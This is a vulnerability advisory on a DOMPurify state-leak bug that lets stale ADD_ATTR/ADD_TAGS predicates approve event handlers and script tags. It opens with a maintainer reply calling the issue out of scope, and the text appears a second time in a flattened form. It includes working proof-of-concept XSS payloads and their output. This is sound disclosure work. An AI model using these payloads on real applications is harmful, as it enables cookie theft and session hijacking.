Edit: Cure53
Thanks for the report. We published for transparency and discussion, but we do not see it as actionable within DOMPurify’s threat model, so no fix is planned at this point. In our view, this is an edge-case discussion item rather than a regular, in-scope DOMPurify security issue.
Summary
When DOMPurify.sanitize() is called with ADD_ATTR or ADD_TAGS as a function predicate, the function handler persists in internal state (EXTRA_ELEMENT_HANDLING) across subsequent sanitize() calls on the same instance. If a later call provides ADD_ATTR/ADD_TAGS as an array instead of a function, the stale handler is neither cleared nor overwritten, causing it to approve dangerous attributes or tags in attacker-controlled content. This enables XSS and can bypass even explicit FORBID_TAGS configuration.
Details
The root cause is in _parseConfig() at src/purify.ts:638-670. The clearing logic only resets handlers when the config key is entirely absent:
// src/purify.ts:638-645
/* Prevent function-based ADD_ATTR / ADD_TAGS from leaking across calls */
if (!objectHasOwnProperty(cfg, 'ADD_TAGS')) {
EXTRA_ELEMENT_HANDLING.tagCheck = null;
}
if (!objectHasOwnProperty(cfg, 'ADD_ATTR')) {
EXTRA_ELEMENT_HANDLING.attributeCheck = null;
}
Then the assignment logic only sets the handler when the value is a function:
// src/purify.ts:660-662
if (cfg.ADD_ATTR) {
if (typeof cfg.ADD_ATTR === 'function') {
EXTRA_ELEMENT_HANDLING.attributeCheck = cfg.ADD_ATTR;
} else {
// ... adds to ALLOWED_ATTR set, does NOT clear attributeCheck
}
}
The gap: When Call 2 passes ADD_ATTR as an array:
objectHasOwnProperty(cfg, 'ADD_ATTR') is true → handler NOT cleared (line 643-644 skipped)
typeof cfg.ADD_ATTR === 'function' is false → handler NOT overwritten (line 661)
- The stale function from Call 1 persists in
EXTRA_ELEMENT_HANDLING.attributeCheck
The leaked handler is then invoked in _isValidAttribute() at line 1242-1243, approving dangerous event handler attributes (onclick, onfocus, etc.) that should have been stripped.
For ADD_TAGS, the impact is worse. At line 1118-1122, the removal check is:
if (
!(EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
)
If the leaked tagCheck returns true, the entire removal condition short-circuits to false. The element is kept — even if FORBID_TAGS explicitly forbids it. This means <script> tags survive sanitization despite FORBID_TAGS: ['script'].
PoC
Setup:
npm install dompurify jsdom
PoC 1 — ADD_ATTR leaks event handlers (XSS):
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const purify = createDOMPurify(new JSDOM('').window);
// Call 1: Privileged context allows event handlers via function predicate
purify.sanitize('<div onclick="admin()">x</div>', {
ADD_ATTR: (name) => ['onclick', 'onfocus'].includes(name)
});
// Call 2: Unprivileged context uses array — expects only data-id allowed
const result = purify.sanitize(
'<div onfocus=alert(document.cookie) tabindex=0>XSS</div>',
{ ADD_ATTR: ['data-id'] }
);
console.log(result);
// Output: <div onfocus="alert(document.cookie)" tabindex="0">XSS</div>
// Expected: <div tabindex="0">XSS</div>
PoC 2 — ADD_TAGS bypasses FORBID_TAGS (script injection):
// Call 1: Context that allows <script> via function
purify.sanitize('<script>x</script>', {
ADD_TAGS: (t) => t === 'script',
FORCE_BODY: true
});
// Call 2: Explicitly forbids <script> — but leaked handler overrides
const result2 = purify.sanitize('<script>alert(1)</script>', {
ADD_TAGS: ['custom-el'],
FORBID_TAGS: ['script'],
FORCE_BODY: true
});
console.log(result2);
// Output: <script>alert(1)</script>
// Expected: (empty or text content only)
Verified output on DOMPurify 3.3.3 with jsdom.
Impact
An attacker can achieve cross-site scripting (XSS) in any application that:
- Uses a shared DOMPurify instance (common in server-side Node.js apps)
- Has at least one code path that calls
sanitize() with ADD_ATTR or ADD_TAGS as a function predicate
- Has another code path that calls
sanitize() with ADD_ATTR or ADD_TAGS as an array
The attacker submits malicious HTML to the array-based code path. The leaked function predicate from the prior call approves dangerous attributes (event handlers like onfocus, onclick) or tags (<script>, <iframe>), resulting in XSS.
The FORBID_TAGS bypass variant is particularly severe: even applications that explicitly forbid dangerous tags are vulnerable if a prior call used a function predicate for ADD_TAGS.
Impact includes session hijacking, credential theft, and arbitrary actions on behalf of the victim user.
Recommended Fix
Clear handlers when ADD_ATTR/ADD_TAGS is present but is not a function:
// src/purify.ts:638-645 — replace with:
if (!objectHasOwnProperty(cfg, 'ADD_TAGS') || typeof cfg.ADD_TAGS !== 'function') {
EXTRA_ELEMENT_HANDLING.tagCheck = null;
}
if (!objectHasOwnProperty(cfg, 'ADD_ATTR') || typeof cfg.ADD_ATTR !== 'function') {
EXTRA_ELEMENT_HANDLING.attributeCheck = null;
}
This ensures that function handlers are only preserved when the current call also provides a function, closing the state leakage window.
Additionally, the tag removal check at line 1118-1123 should be restructured so that FORBID_TAGS is never bypassed by tagCheck:
// src/purify.ts:1117-1124 — suggested defense-in-depth:
if (FORBID_TAGS[tagName]) {
// FORBID_TAGS always wins, regardless of tagCheck
// ... remove element
} else if (
!(EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)) &&
!ALLOWED_TAGS[tagName]
) {
// ... remove element
}
Edit: Cure53
Thanks for the report. We published for transparency and discussion, but we do not see it as actionable within DOMPurify’s threat model, so no fix is planned at this point. In our view, this is an edge-case discussion item rather than a regular, in-scope DOMPurify security issue.
Summary
When
DOMPurify.sanitize()is called withADD_ATTRorADD_TAGSas a function predicate, the function handler persists in internal state (EXTRA_ELEMENT_HANDLING) across subsequentsanitize()calls on the same instance. If a later call providesADD_ATTR/ADD_TAGSas an array instead of a function, the stale handler is neither cleared nor overwritten, causing it to approve dangerous attributes or tags in attacker-controlled content. This enables XSS and can bypass even explicitFORBID_TAGSconfiguration.Details
The root cause is in
_parseConfig()atsrc/purify.ts:638-670. The clearing logic only resets handlers when the config key is entirely absent:Then the assignment logic only sets the handler when the value is a function:
The gap: When Call 2 passes
ADD_ATTRas an array:objectHasOwnProperty(cfg, 'ADD_ATTR')istrue→ handler NOT cleared (line 643-644 skipped)typeof cfg.ADD_ATTR === 'function'isfalse→ handler NOT overwritten (line 661)EXTRA_ELEMENT_HANDLING.attributeCheckThe leaked handler is then invoked in
_isValidAttribute()at line 1242-1243, approving dangerous event handler attributes (onclick, onfocus, etc.) that should have been stripped.For
ADD_TAGS, the impact is worse. At line 1118-1122, the removal check is:If the leaked
tagCheckreturnstrue, the entire removal condition short-circuits tofalse. The element is kept — even ifFORBID_TAGSexplicitly forbids it. This means<script>tags survive sanitization despiteFORBID_TAGS: ['script'].PoC
Setup:
PoC 1 — ADD_ATTR leaks event handlers (XSS):
PoC 2 — ADD_TAGS bypasses FORBID_TAGS (script injection):
Verified output on DOMPurify 3.3.3 with jsdom.
Impact
An attacker can achieve cross-site scripting (XSS) in any application that:
sanitize()withADD_ATTRorADD_TAGSas a function predicatesanitize()withADD_ATTRorADD_TAGSas an arrayThe attacker submits malicious HTML to the array-based code path. The leaked function predicate from the prior call approves dangerous attributes (event handlers like
onfocus,onclick) or tags (<script>,<iframe>), resulting in XSS.The FORBID_TAGS bypass variant is particularly severe: even applications that explicitly forbid dangerous tags are vulnerable if a prior call used a function predicate for
ADD_TAGS.Impact includes session hijacking, credential theft, and arbitrary actions on behalf of the victim user.
Recommended Fix
Clear handlers when
ADD_ATTR/ADD_TAGSis present but is not a function:This ensures that function handlers are only preserved when the current call also provides a function, closing the state leakage window.
Additionally, the tag removal check at line 1118-1123 should be restructured so that
FORBID_TAGSis never bypassed bytagCheck: